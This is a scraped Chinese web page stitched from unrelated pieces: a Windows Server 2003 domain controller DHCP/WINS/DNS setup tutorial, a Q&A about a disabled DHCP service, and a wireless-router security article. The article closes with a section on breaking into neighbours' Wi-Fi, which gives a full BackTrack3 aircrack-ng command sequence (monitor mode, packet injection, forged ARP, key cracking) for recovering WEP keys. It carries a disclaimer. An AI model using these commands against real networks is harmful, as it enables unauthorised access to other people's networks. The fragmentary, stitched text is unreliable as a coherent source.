 上传我的文档
 下载
 收藏
该文档贡献者很忙，什么也没留下。
 下载此文档
正在努力加载中...
正在获取网络地址导致无法上网的解决办法及如何获取IP地址中的DHCP
下载积分：1099
内容提示：正在获取网络地址导致无法上网的解决办法及如何获取IP地址中的DHCP
文档格式：DOC|
浏览次数：19|
上传日期： 10:53:49|
文档星级：
该用户还上传了这些文档
正在获取网络地址导致无法上网的解决办法及如何获取IP
官方公共微信您所在的位置： &
域控制器中DHCP、WINS、DNS的安装和基本设置
域控制器中DHCP、WINS、DNS的安装和基本设置
本文主要讲述了域控制器中的服务三剑客的安装及设置，所谓的服务三剑客是指域控制器中DHCP、WINS、DNS。
所谓的服务三剑客是指域控制器中DHCP、WINS、DNS，下文介绍了域控制器中的服务三剑客的安装及设置。
当使用DCPROMO命令提升的域控制器完成首次启动进入系统后，我们先不要忙着安装和设置，我建议大家先打开事件查看器（我平时都是在桌面建个快捷方式），在这里系统把它的喜怒哀乐都记录在了里面，想让它少发脾气，我们就要时不时的看看这里。
一、首次浏览事件查看器
1、应用程序
打开管理工具&&事件查看器，点击左侧的应用程序，你会看到一个必然出现的警告信息，是关于MSDTC（微软分布式传输协调程序）的。我装了N次的系统了，每次都有。截图如下：
改正方法：选择管理工具&&组件服务，在左侧窗口中打开组件服务&&计算机，选择之下的我的电脑，打开属性对话框。
选择MSDTC选项卡，点击最下方的安全配置按钮，在弹出的窗口中直接点击确定，关闭它（不用改变其中的任何选项，微软比较搞笑），再点击确定关闭属性窗口。然后右击窗口左侧的我的电脑，在弹出的菜单中点击停止MSDTC。
之后再次右击我的电脑，在弹出的菜单中点击启动MSDTC。现在再看看事件查看器，警告变为信息了。
2、浏览其他事件
系统项中会有几个警告，其中只有来源是W32Time的这个警告会反复出现。解决方法是停掉ntpclient服务。方法如下：
在运行中输入regedit回车，运行注册表编辑器，按照下面的路径逐步打开
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient
直到在窗口右侧看到Enabled。把Enabled的值改成0。
其他的警告和错误，如果你仔细观察的话会发现，他们都出现在域控制器第一次正式启动之前。这主要是因为我们的DNS服务是在升级域控的同时安装的，所以才会有这些与DNS有关的警告，它们都是在升级时产生的。第一次启动之后就不会再有了。
二、基础设施&&DHCP、WINS、DNS
1、DHCP&&动态主机配置协议
不论是管理50还是500台计算机，我都不愿意走到每台机器边，进入系统去设置TCP/IP协议的一堆选项，最好让计算机自己去做。这就是DHCP的作用，它会在计算机启动时，自动为其设置你指定的TCP/IP协议的各种属性值。结果就是只要将网线接好，windows不用做任何设置就可以上网浏览了。
为了使用DHCP服务，我们首先进行软件的安装。选择控制面板&&添加删除程序&&添加/删除windows组件，再打开的windows组件向导对话框中找到并选中网络服务，点击详细信息按钮，在打开的网络服务对话框中找到动态主机配置协议（DHCP）这一项，在前端打勾并确定。
在组件向导对话框中点击下一步，系统开始安装DHCP服务。注意：安装所有的windows组件都需要系统源光盘在安装系统时的位置，否则就会弹出查找文件对话框。
安装完成后，在管理工具中就可以找到DHCP这一项，点击它就会弹出DHCP服务的图形化界面。你会看到这时的服务器状态是未经授权，箭头为红色向下的。
DHCP在为未经授权的默认状态下，是不会向其他计算机提供IP地址的。为了使DHCP工作起来需要我们对其授权。注意我们现在登录的用户是域中的Administrator，它具有至高无上的权限（用词不准，就这意思吧），。随着域的逐步完善，我们会接触到更多的新概念，账户就是其中之一。现在不展开说了，现在你只要知道授权这事除了它别人干不了就可以了。授权操作很简单。在红箭头的服务器上右击，在弹出的菜单上选择授权即可。
授权后，箭头变为绿色向上，状态变为运行中。
还是在服务器的名称上右击，在弹出的菜单中选择新建作用域，就会打开新建作用域向导。下面跟图操作：
点击下一步，给作用域起一个便于理解的名称。
点击下一步，设置可以分配给网络中其他计算机使用的IP地址范围，这里建议填入一个完整的地址范围，特殊用途的IP（比如本台服务器的IP）我们之后会从中划出来。为了简单一些我直接给了一个C类地址范围。
点击下一步，添加排除，我们就在这里将特殊用途的IP从地址池中拿出来。如图
下一步是设置租约期限，可以保持默认的8天。再下一步是设置DHCP选项，就是TCP/IP属性中的那几个项目。注意这里设置的选项只对本作用域起作用，当你有多个作用域时（这个以后聊），你可以通过设置服务器选项来对所有作用域都起作用。现在我们先学习单作用域的设置。选择现在配置，点下一步后，
设置默认网关后，下一步是设置父域名称和DNS服务器。父域名称就是你最初建立域时起的名字，记得吗？我用的是test.abc。DNS服务器必须要填写本机的IP地址，这样域中的其他计算机在登录的时候才可以找到域控制器（就是这台了）来验证自己的身份，域的一大好处不就是身份的集中化验证和存储嘛。设置
下一步后出现WINS服务器的设置窗口，这个我们还没有建立，留着以后手动添加，顺便也熟悉一下DHCP的非向导设置界面。现在直接下一步即可。
最后，询问是否现在激活，激活后就可以给其他机器提供你在前面做的这些TCP/IP的属性设置了。直接下一步&&完成。DHCP服务器的状态变为活动，
因为TCP/IP属性设置默认是自动获取的，所以现在计算机只要连入网络就可以上网了，不必再进行设置。同时你会在DHCP中看到一条记录。这个我们以后会具体讲到，现在我们接着完成WINS服务器的设置。
2、WINS&&Windows Internet名称服务
不要被名字吓倒，这东西在使用的时候跟互联网没啥关系，它名字里带Internet，你可以理解为这东西可以通过路由器。它的安装非常简单，安装方法和DHCP类似，控制面板&&添加或删除程序&&添加/删除windows组件，进入组件向导对话框后找到网络服务，点击详细信息，在打开的窗口中选中WINS这一项。
后面就略了吧！安装完成后，在管理工具中找到并打开它，在活动注册上右击选择显示记录，在打开的窗口中点击立即查找。
如果你在本机TCP/IP属性中没有设置WINS，那现在什么也不会显示，因为现在网络中还没有其他机器。如果把WINS设置为本机的IP地址了的话，这里就会显示本机注册的NETBIOS条目。
3、DNS&&域名解析服务、
DNS可以称为Active Directory的神经中枢，是AD的中央名字存储机制。它是一切的基础，没它就无法实现域的任何功能，甚至连登录都不可能。对于DNS本人到现在也还处于不断地学习进步之中。在这里仅讲解它的基本设置，将来我们可以就DNS这一领域进行专门的研究。深陷其中也会很打击初学者的自信以及延缓对域的各种美妙功能的早日体会。大家应该记得DNS服务在我们建立域时已经自动创建，现在我们来打开它看看。
打开管理工具&&DNS，进入服务器的属性设置对话框，选择转发器选项卡，填入当地通讯服务供应商给你提供的DNS服务器的IP地址。
转发器的意思就是把你的DNS无法解析的域名（比如：）转给这个地址的DNS，由它来解析。应该说广域网上的域名都是由它来负责解析的，设置正确的话，现在你就可以上网了。
在DNS服务器中可以见到正向、反向查找区域这两项，正向查找是根据域名查找IP地址，反向不用解释了吧。
从左侧窗口中打开正向查找区域会看到两个项目，test.abc是我们自己建立的域名，而带下划线的那个包含着支持AD正常运行所必须的各种SRV（服务）记录，非常重要。
反向查找区域目前还没有任何内容，我们来手动建立它，在其上右击选择新建区域，在弹出的对话框中点击下一步。区域类型为主要区域，并选中AD保存这一项，这样将来可以通过建立备份域控制器（名字不准确，先这样称呼）来获得冗余性。
下一步继续保持默认；
下一步设置反向查找区域名称，在网络ID中输入IP地址的网络部分，系统会自动把它反转使用；
下一步保持默认选项只允许安全更新，继续下一步，点击完成结束后；
三、手动配置DHCP服务的WINS选项
还记得我们前面在设置DHCP的过程中有一个WINS选项没有填写吗？现在我们已经建立了WINS服务，接下来我们将这一项手动添加到DHCP的设置中。
打开DHCP的管理工具，在作用域选型上右击，在弹出的菜单上选择配置选项。
找到常规选项卡中的044、046两项，一个是设置WINS服务器地址的，一个是设置客户机NetBIOS节点类型的。
选中044项设置WINS服务器地址后，点击应用。
选中046项设置NetBIOS节点类型，这个选项的作用是告诉计算机在查找其他机器的NetBIOS名称时，是先广播再查询WINS，还是先查询再广播。这里当然要先查询WINS，这样才能有效的减少广播风暴，要不我们费这劲干啥，是不是。先查询WINS后广播属于H型节点，所以这里要输入0x8（16进制数）。
现在作用域选项的样子是这样的。
至此，这台域控制器已经培训完毕，可以正式上岗工作。
下次我们开始加入用户和计算机账户，要开始有意思了！呵呵！
域控制器中DHCP、WINS、DNS的安装和基本设置（2003Server）都是比较基础的知识，希望读者能够从中有所收获。
【编辑推荐】
【责任编辑： TEL：（010）】
关于的更多文章
转眼十一月份了，天气逐渐变冷了。又到了起床靠毅力，洗澡靠勇气
本期重点推荐：转角遇到Zabbix：企业级分布式系统监控部署
转眼十一月份了，天气逐渐变冷了。又到了起床靠毅力，
10月17日，微软正式发布了Windows 8的首个重大升级―
日前，由51CTO传媒举办的2013年云计算架构师峰会圆满
本书从基础知识入手，详细讨论了Oracle数据库的创建、OEM及iSQL*Plus等工具的使用、Oracle的字符集知识、用户的创建与管理、表空
51CTO旗下网站我不小心把DHCP禁用了， 还把IP改过，结果发现自动获取IP后，电脑不能上了，怎么回事啊，怎么办_百度知道
我不小心把DHCP禁用了， 还把IP改过，结果发现自动获取IP后，电脑不能上了，怎么回事啊，怎么办
提问者采纳
把DHCP服务启用之后，改成自动获取IP，最后在开始-运行里运行CMD，执行一次ipconfig /release直接复制就可以了. 最后打电话问网络服务商DNS地址,输入, 保存.如果还是不行,就叫网络服务商派人来看看,
提问者评价
还没试，先谢谢啦
其他类似问题
为您推荐：
dhcp的相关知识
其他1条回答
再改回去呗
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁怎样在TP-LINK AC100里把20个tp-link AP的SSID改成相同名字？求大神指教
怎样在TP-LINK AC100里把20个tp-link AP的SSID改成相同名字？求大神指教
不区分大小写匿名
大家好，无线路由大讲堂第二课今天继续开讲了！什么，你还没有看过第一课？那么请先猛击《从基本设置开始 无线路由大讲堂开课啦》这篇文章。本期告诉大家无线路由器密码破解方面的知识，破解无线路由器密码该如何操作呢？一旦哪天忘记了无线路由器密码，用什么方法破解无线路由器密码就显得非常关键了，那么今天我们就更近一步，学习一下如何让自己的无线网络更安全！&&& 本堂课所讲的无线网络“防护措施”仍比较基础，而且必须强调的是，我们所介绍的防护方法绝对不能100%阻止黑客的入侵（甚至连50%都做不到⊙﹏⊙b汗），但对于普通无线用户来说，这些防护方法已经完全够用了，例如防个邻居蹭网什么的还是非常有效的。怎么样，有兴趣吗？那就和我们一起来学习吧。&&&&最基本的才是最重要的：设置无线加密&&& 在第一节课中我们已经强调了设置无线加密的重要性，这里我们仍然要详细地重复一次。拿到一款全新的无线路由器，首先要做的就是完成它的基本设置（推荐选择“设置向导”功能）。而在基本设置之中，必须要做的就是设置无线网络加密，这是保护无线网络最基本，也是最有效的方法。&&& 除了可以在“设置向导”中完成无线网络的加密设置外，我们通常还可以在“无线网络设置”中找到更详细、更全面的加密设置。而且你知道吗？根据所选加密方式的不同，无线网络的性能也会受到不同程度的影响。无线网络加密&&& 目前主流的无线网络加密方式有三种，即64/128位WEP加密、WPA加密和WPA2加密。这里特别需要说明的是，三种无线加密方式对无线网络传输速率的影响也不尽相同。由于IEEE 802.11n标准不支持以WEP加密（或TKIP加密算法）单播密码的高吞吐率，所以如果用户选择了WEP加密方式或WPA-PSK/WPA2-PSK加密方式的TKIP算法，无线传输速率将会自动限制在11g水平（理论值54Mbps，实际测试成绩在20Mbps左右）。&&& 也就是说，如果用户使用的是符合IEEE 802.11n标准的无线产品（理论速率150M或300M），那么无线加密方式只能选择WPA-PSK/WPA2-PSK的AES算法加密，否则无线传输速率将会明显降低。而如果用户使用的是符合IEEE 802.11g标准的无线产品，那么三种加密方式都可以很好的兼容，不过仍然不建议大家选择WEP这种较老且已经被破解的加密方式，最好可以升级一下无线路由。&&&&修改默认用户名和密码&&& 设置好无线加密后，我们接下来要做的重要工作就是修改无线路由的默认登录用户名和密码。很多初级用户一定会问，为什么要这么做呢？原因很简单，因为同一型号、同一品牌甚至是不同品牌的无线路由器在出厂时所设置的默认用户名和密码几乎都是一样的。稍有经验的“非法用户”只需尝试几次就可以轻松进入无线路由的Web配置界面，从而全面控制你的无线网络。因此修改默认用户名和密码也是保护无线网络安全所必须的。修改默认用户名和密码&&& 最后还要提醒一句，在修改完默认用户名和密码后，千万不要忘记“保存”哦，并重启无线路由器，重新用新的用户名和密码登录一下，以确定修改成功。无线路由器密码破解：关闭DHCP&&&&修改SSID并关闭无线广播&&& 在第一课中，我们曾建议初级用户修改SSID并开启无线广播，待熟悉了无线网络连接后，建议立即关闭无线广播。那么为什么无线广播要“先开后关”呢？我们还是先学习一下基础知识吧。&&& 首先介绍一下什么是SSID？简单来说SSID就是在你搜索无线网络时，无线网络列表中所出现的一个个无线网络的名称。接下来再介绍一下无线广播的作用，打开无线广播就是把你的无线网络名称（SSID）公布出来，使其可以出现在你的无线网络列表之中；反之，关闭无线广播，你的无线网络名称就不会出现在无线网络列表之中了。修改SSID名称 关闭SSID广播&&& 了解了这两个基础知识，相信你就能明白无线广播为什么要“先开后关”了。“先开”目的是为了让初级用户更容易找到并连接到自己无线网络；不过公开了SSID同样会引来非法入侵者，带来安全隐患，因此在初级用户熟悉了网络的连接方法后，我们需要“后关”，即关闭无线广播，让你的无线网络名称消失在无线网络列表中。&&& 最后，我们还强烈建议大家修改SSID名称，为你的无线网络起一个个性的SSID。因为如果继续使用默认的“D-Link”、“TP-link”、“NETGEAR”等常见SSID名称会很容易就被别人猜到，那么关闭SSID广播也就失去了意义。&&&&修改无线路由默认IP地址并关闭DHCP功能&&& 关于无线路由的DHCP功能，我们在第一课中也已提到，简单来说它就是自动为连入无线网络的用户分配IP地址的一项功能，省去了用户手动设置IP地址的麻烦。因此对于初次接触无线路由的用户来说，我们建议大家打开此功能。&&& 但如果想要进一步提升无线网络的安全，我们还是推荐用户关闭DHCP功能。因为一旦关闭了此功能，想要连接到你无线网络的非法用户就没法自动分配到IP地址了，那么他就得手工输入IP地址，而为了不让非法用户轻易猜到无线路由的IP地址段，我们还必须修改无线路由的默认IP地址。此时非法用户想要连接网络就必须挨个去尝试每个IP地址段，非常麻烦。所以建议大家关闭DHCP功能，修改默认IP地址，并手动设置笔记本/PC网卡的IP地址。修改默认IP地址 停用DHCP&&& 下面讲一下手动设置网卡的IP地址需要注意的地方，手动输入的IP地址必须和无线路由器的IP地址（修改后的）保持在同一IP地址段，例如无线路由器修改后的IP地址为：192.168.123.1，那么网卡的IP地址即可设置为：192.168.123.X（X表示2-254任意数字）；而默认网关与无线路由的IP地址相同即可。无线路由器密码破解：MAC地址过滤&&&&强烈推荐：开启MAC地址过滤功能&&& 完成了上述的基本安全设置，你的无线网络已经变得较为安全，但如果想让你的无线网络的安全防护能力有一个质的提升，我们强烈推荐你启用MAC地址过滤功能。&&& 首先讲一下什么是MAC（它不是苹果的Mac）？MAC（Media Access Control），即介质访问控制地址的简称。MAC地址是厂商在生产网络设备时赋予每一台设备惟一的地址。其中，前24位标识网络设备的厂商，不同厂商生产的标识不同，后24位是由厂商指定的网络设备的序列号。&&& “MAC地址过滤”功能正是利用了MAC地址的唯一性，即一台网络设备对应一个MAC地址，只有在无线路由器的MAC地址“允许”列表中的网络设备（需提前输入MAC地址）才能接入网络，这种方法可以非常有效的阻止非法用户的入侵，即使面对现在非常猖獗的“蹭网卡”，也能起到很好的防护作用。开启MAC地址过滤功能输入允许接入设备的MAC地址&&& 想要使用MAC地址过滤功能，就必须要知道自己无线网卡的MAC地址，那么你知道自己无线网卡的MAC地址是什么吗？不知道也没关系，因为查看方法很简单：在“网络连接”中找到“网络连接”图标，右键-&“状态”，选择“支持”-&“详细信息”，其中的“实际地址”就是你无线网卡的MAC地址。查看MAC地址&&& 此外，用户还可以点击任务栏的“开始”-&运行-&在弹出的“运行”窗口文本框内输入“cmd”，然后单击“确定”按钮；然后在命令窗口中输入“ipconfig /all”后回车，此时在显示的结果中同样可以找到网卡的MAC地址。查看MAC地址&&& 最后还有一点需要特别提醒，当你在使用MAC地址过滤功能时，一定要勾选“启用/打开”选项，否则完全没有效果（⊙﹏⊙b汗）。无线路由器密码破解：不公开无线密钥&&&&不公开无线密钥 选择“WPS”一键加密&&&&无线网络加密密钥的泄露是造成非法用户入侵的主要原因之一，因此我们推荐大家选择WPS“一键加密”功能。通过此功能，你只需轻轻一按即可获得WPA2级的安全连接，既省去了记忆冗长加密密钥的麻烦；还可以防止公共加密密钥的泄露，进一步提升无线网络的安全。怎么样，是不是非常棒呢？WPS功能&&& 目前市场中主流的无线路由器均已加入了“WPS”功能，相信的你的无线路由器上也已经设计了“WPS”按键，赶快去找找看吧。而目前实现WPS连接则主要有两种方法，即输入PIN码法（Pin Input Configuration，PIN）和按钮配置法（Push Button Configuration，PBC），其中以PBC按钮法最为简单方便，推荐大家选择此方法。&&& 当然，想要实现“WPS”一键加密，同样需要无线客户端的支持。有关WPS的更多知识，我们将在下一期无线路由大讲堂中做详细介绍，敬请期待！&&&&关闭无线网络&&& 其实要说保护无线网络最安全有效的方法，那绝对是关闭无线网络，这样非法入侵者即使再有能力也无法进入你的网络。当然，这里的“关闭”并不是说让大家不使用无线网络，而是希望大家养成良好的无线网络使用习惯，在不需要无线连接时候，关闭无线网络功能，进一步降低非法用户入侵的可能性。关闭无线网络&&& 最后，还有个建议必须向广大网络设备厂商提一下，目前市面上仅有少数的无线路由器设计了外置无线网络开关，绝大多数无线路由仍需要进入Web配置界面进行手动开关无线网络，并等待无线路由器重启，这一操作过程确实比较麻烦，希望未来推出的无线路由器都能加入外置无线网络开关这一功能，让用户可以更好的掌控自己的无线网络。&&&&总结：体验精彩无线 安全不能忽视&&& 怎么样，今天《无线路由大讲堂》第二课的内容你学会了吗？现在我们再来做个总结：首先是最简单也是最基础的设置——无线加密，我们推荐大家选择WPA-PSK/WPA2-PSK的AES算法加密；另外，千万不要忘记修改默认登录密码哦。接下来，建议大家关闭SSID广播，并停用DHCP功能，这样可以进一步提升无线网络的安全性；当然，保护无线网络安全最有效也是我们强烈推荐的方法仍是MAC地址过滤，效果谁用谁知道。最后，推荐大家尝试“WPS”一键加密功能，效果同样出色。&&& 通过今天的课程，相信你已经学会了如何通过简单的设置提升无线网络的性能了，那就赶快去动手实践一下吧，无线安全防护刻不容缓哦。最后再做个预告，别忘了继续关注下一期《无线路由大讲堂》哦，我们将为你讲述神奇的“WPS一键加密”。无线路由器密码破解：蹭网卡对于个人用户来说，接触无线最多的方式可能就是ADSL+无线路由器了，想必你的电脑也会搜索到很多其它接入点，这些接入点或者信号很低，或者已经加密，其实这些无线信号也能被第三方利用。本着讨论技术的目的，本文将介绍无线网络破解的一些思路，但希望广大网友不要滥用，要以此为戒来保护自己的无线安全。&&&&信号增强问题&&& 提高接入点数量是首要问题。一般情况下，笔记本内置的无线网卡在搜寻接入点时会偏弱于外部无线网卡，另外天线问题也是一个很关键的因素，网络上有一种特殊的无线网卡，其搜索能力很强。卡皇实物&&& 在国内某家网站宣传的其“卡皇”产品，声称发射功率达500mw，是普通网卡的10倍，其可视传输距离为3600米，也就是半径3600米内的接入点都会被搜索到，不管该接入点是否加密。如果你住在居民区，那周围的写字楼，商场，批发市场，住宅小区，咖啡厅包含的接入点将和你家中无线路由器发出的无线信号一样，都被这款卡皇嗅探到。外置天线&&& 我们来看看这款设备有何特殊之处：采用RTL8187L芯片，功率更强，信号接收多。完美支持BT3（这个后面会讲到），可外接天线。&&& 搜索到无线信号以后，我们会发现大部分接入点都是加密的，接下来就需要配合软件方式破解密码。无线路由器密码破解：破解密码&&&&&BackTrack3（BT3）破解密码　　BackTrack是基于SLAX的自启动运行光盘，是基于linux发行版的系统。目前使用最多的是V3 Final版本，但这个版本对少数网卡支持存在一些问题，所以V3 Beta版本仍有部分人在使用。BackTrack集中了无线网络几乎能见到的安全和破解工具，可谓无线网络破解的百宝箱，全球各地的人使用它破解了无数的无线网络，从侧面促进了大众无线网络安全意识的迅速提高。BackTrack3&&&&由于我们需要在BT3下破解，而使用的是Windows系统，所以需要在虚拟机下安装BT3CD版。安装系统类型选择Linux，空间需要大于4GB，具体安装过程与其他系统并无两样，下面主要讲解一下进入系统后的破解工作。&&& 打开终端窗口，输入以下命令（括号内为解释内容）：&&& ifconfig -a （查看无线网卡Mac地址）&&& airmon-ng start wifi0 5&&& （其中wifi0是电脑里面给无线网卡的，一般都是这个，用ifconfig -a命令可以看得到。wifi0 后面的5是需要破解AP频道，可以在左下角开始菜单里面，找到第二项Internet中的无线网工具，查看AP的频道Channel。然后会看到出现一个 Ath1，格式为XXX1样式）&&& airodump-ng --ivs -w name -c&5 ath1& （5和ath1根据自己的结果修改）&&& aireplay-ng -1 0 -e ap_essid -a ap_mac -h XXXXXXXXXX ath1 （XX内容为MAC地址）&&& aireplay-ng -5 -b ap_mac -h XXXXXXXXXX ath1&&& packetforge-ng -0 -a ap_mac -h XXXXXXXXXX -k 255.255.255.255 -l 255.255.255.255 -y fragment-XXXXX-XXXXXX.xor -w mrarp （XX是网卡MAC地址，XXXXX-XXXXXX就是上次命令返回的文件名）&&& aireplay-ng -2 -r mrarp -x 1024 ath1&&& 打开一个新的窗口，运行&&& aircrack-ng -n 64 -b ap_mac name-XX.ivs（name-XX.ivs需要到桌面生成文件夹里查看，找到序号最大的那个）&&& 一般情况下，用不了太久，密码就会显示出来，当然只局限于破解WEP加密方式。&&& 防范与总结&&& 要杜绝WEP加密方式，另外最好的办法就是在无线路由器上采取MAC绑定，对准入MAC进行白名单处理，不过这种方法不太适合公用场合的AP，但换一种加密方法还是比较容易的。设置准入设备防止蹭网者连接无线网络&&& 对于无线破解来说并不复杂，掌握了基本的方法后破解效率觉得称得上高效，不过随着上网资费的下调，蹭网情况会越来越少，加之卡皇设备功率大，辐射也不容小视，并且从法律的角度也是不允许这种行为的。希望广大网友提高警惕，保护好自己的无线网络。原文地址:.cn/249/2490000_all.html&
在我的文件里找
相关知识等待您来回答
通信网络领域专家
& &SOGOU - 京ICP证050897号